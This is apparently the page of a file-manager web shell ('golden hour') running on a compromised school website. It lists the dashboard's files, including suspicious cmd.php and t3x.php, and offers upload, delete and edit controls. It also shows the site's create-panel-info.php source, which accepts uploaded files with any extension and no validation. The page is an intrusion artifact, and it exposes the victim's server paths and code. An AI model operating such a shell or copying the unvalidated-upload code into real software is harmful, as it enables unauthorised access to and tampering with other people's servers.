golden hour
/home4/theinves/public_html/seshaasschool.com/dashboard
⬆️ Go Up
Upload
File/Folder
Size
Actions
api
-
Del
OK
apis
-
Del
OK
assets
-
Del
OK
assets-dashboard-css.php
11.76 KB
Del
OK
assets-dashboard-js.php
2.96 KB
Del
OK
asst
-
Del
OK
banner-list.php
5.83 KB
Del
OK
ckeditor
-
Del
OK
cmd.php
193.64 KB
Del
OK
config
-
Del
OK
create-panel-info.php
5.51 KB
Del
OK
data-tables
-
Del
OK
db-connection-error.php
223 B
Del
OK
dpdf.php
12.78 KB
Del
OK
error_log
686 B
Del
OK
flash-images-list.php
9.01 KB
Del
OK
flash-news-gallery.php
8.05 KB
Del
OK
flash-news-list.php
4.93 KB
Del
OK
flash-news-view.php
3.7 KB
Del
OK
flash-news.php
1.62 KB
Del
OK
flash_news_upload.php
7.99 KB
Del
OK
footer.php
7.03 KB
Del
OK
gallery-list.php
4.86 KB
Del
OK
gallery-video-list.php
5.85 KB
Del
OK
gallery-video.php
15.9 KB
Del
OK
gallery-view.php
2.1 KB
Del
OK
gallery-years.php
7.91 KB
Del
OK
gallery.php
8.96 KB
Del
OK
gallery_backup.php
7.12 KB
Del
OK
header.php
8.82 KB
Del
OK
images
-
Del
OK
images-list.php
10.3 KB
Del
OK
img
-
Del
OK
includes
-
Del
OK
index.php
8.84 KB
Del
OK
latest-events-gallery.php
8.06 KB
Del
OK
latest-events-images-list.php
8.98 KB
Del
OK
latest-events-list.php
4.94 KB
Del
OK
latest-events-view.php
3.71 KB
Del
OK
login.php
7.61 KB
Del
OK
logout.php
143 B
Del
OK
media
-
Del
OK
media_upload.php
7.99 KB
Del
OK
modal
-
Del
OK
profile.php
11.6 KB
Del
OK
settings.php
15.34 KB
Del
OK
t3x.php
10.27 KB
Del
OK
ui-api
-
Del
OK
upload.php
14.87 KB
Del
OK
uploads
-
Del
OK
Edit: create-panel-info.php
<?php ob_start(); session_start(); $error_message=''; include"config/config.php"; if(isset($_POST['update_info'])) { if(empty($_POST['soft_name']) ) { $error_message = 'Software Name or Logo can not be empty'; } else { $soft_name = strip_tags($_POST['soft_name']); if(isset($_FILES['logo']['name']) && $_FILES['logo']['name']!=""){ // create random image file name $extension1 = end(explode(".", $_FILES["logo"]["name"])); $menu_image1 = rand(10,1000000). "-" . date("Y-m-d H-i-s") . "." . $extension1; // upload new image $upload_logo = move_uploaded_file($_FILES['logo']['tmp_name'], 'images/' . $menu_image1); // insert new data to menu table $upload_logo_image = 'images/' . $menu_image1; }else{ $upload_logo_image='images/default-img.png'; } $statement = $pdo->prepare("INSERT INTO `tbl_setting`(`name`, `logo`) VALUES (?,?)"); $result=$statement->execute(array($soft_name,$upload_logo_image)); if($result){ header("location: login.php"); }else { $error_message= "failed";} } } $statement = $pdo->prepare("SELECT * FROM `tbl_setting`"); $statement->execute(); $totals = $statement->rowCount(); if($totals==1){ header("location: login.php"); } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Update Software Panel Details </title> <link rel="shortcut icon" href="images/icon.png"/> <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=yes" name="viewport"> <link href="assets/dist/css/styles.css" rel="stylesheet" type="text/css" /> </head> <body class="login-page login-page-light-green rtl rtl-inv" style="background-image: url('images/login-bg.jpg');background-repeat: no-repeat;background-attachment: fixed; background-size: cover;"> <div class="login-box"> <!--<div class="login-logo"> </div>--> <div class="login-box-body" style="background: #4e36367a;padding: 20px;border-top: 0;border-radius: 20px;color: white;"> <form action="" enctype="multipart/form-data" method="post" accept-charset="utf-8"> <div class="form-group has-feedback"> <input type="text" name="soft_name" value="" class="form-control" placeholder="Software Name" required/> <span class="glyphicon glyphicon-cog form-control-feedback"></span> </div> <div class="form-group has-feedback"> <input type="file" name="logo" value="" class="form-control" placeholder="Software Name" required /> <span class="glyphicon glyphicon glyphicon-open-file form-control-feedback"></span> </div> <?php if( (isset($error_message)) && ($error_message!='') ): echo '<div class="error" style="color:red;">'.$error_message.'</div>'; endif; ?> <button type="submit" name="update_info" class="btn btn-primary btn-block btn-flat"><i class="glyphicon glyphicon-log-in"></i> Sign in</button> </form> </div> </div> <div aria-hidden="true" aria-labelledby="myModalLabel" role="dialog" tabindex="-1" id="myModal" class="modal fade"> <div class="modal-dialog"> <div class="modal-content"> <form action="" method="post" accept-charset="utf-8"> <input type="hidden" name="spos_token" value="979cb0ee8c0288cd1c35a24d683ad9e1" /> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</i></button> <h4 class="modal-title">Forgot Password?</h4> </div> <div class="modal-body"> <p>Enter your e-mail address below to reset your password.</p> <input type="email" name="forgot_email" placeholder="Email" autocomplete="off" class="form-control placeholder-no-fix"> </div> <div class="modal-footer"> <button data-dismiss="modal" class="btn btn-default pull-left" type="button">Close</button> <button class="btn btn-primary" type="submit" name="login">Submit</button> </div> </form> </div> </div> </div> <script src="assets/plugins/jQuery/jQuery-2.1.4.min.js"></script> <script src="assets/bootstrap/js/bootstrap.min.js" type="text/javascript"></script> <script src="assets/plugins/iCheck/icheck.min.js" type="text/javascript"></script> <script> $(function () { if ($('#identity').val()) $('#password').focus(); else $('#identity').focus(); $('input').iCheck({ checkboxClass: 'icheckbox_square-blue', radioClass: 'iradio_square-blue', increaseArea: '20%' }); }); </script> <script> $( document ).ready(function() { $('#btn_show').show(); $('#btn_hide').hide(); }); function show() { var obj = document.getElementById('myPassword'); obj.type = "text"; $('#btn_show').hide();$('#btn_hide').show(); } function hide() { var obj = document.getElementById('myPassword'); obj.type = "password"; $('#btn_show').show();$('#btn_hide').hide(); } </script> </body> </html>
Save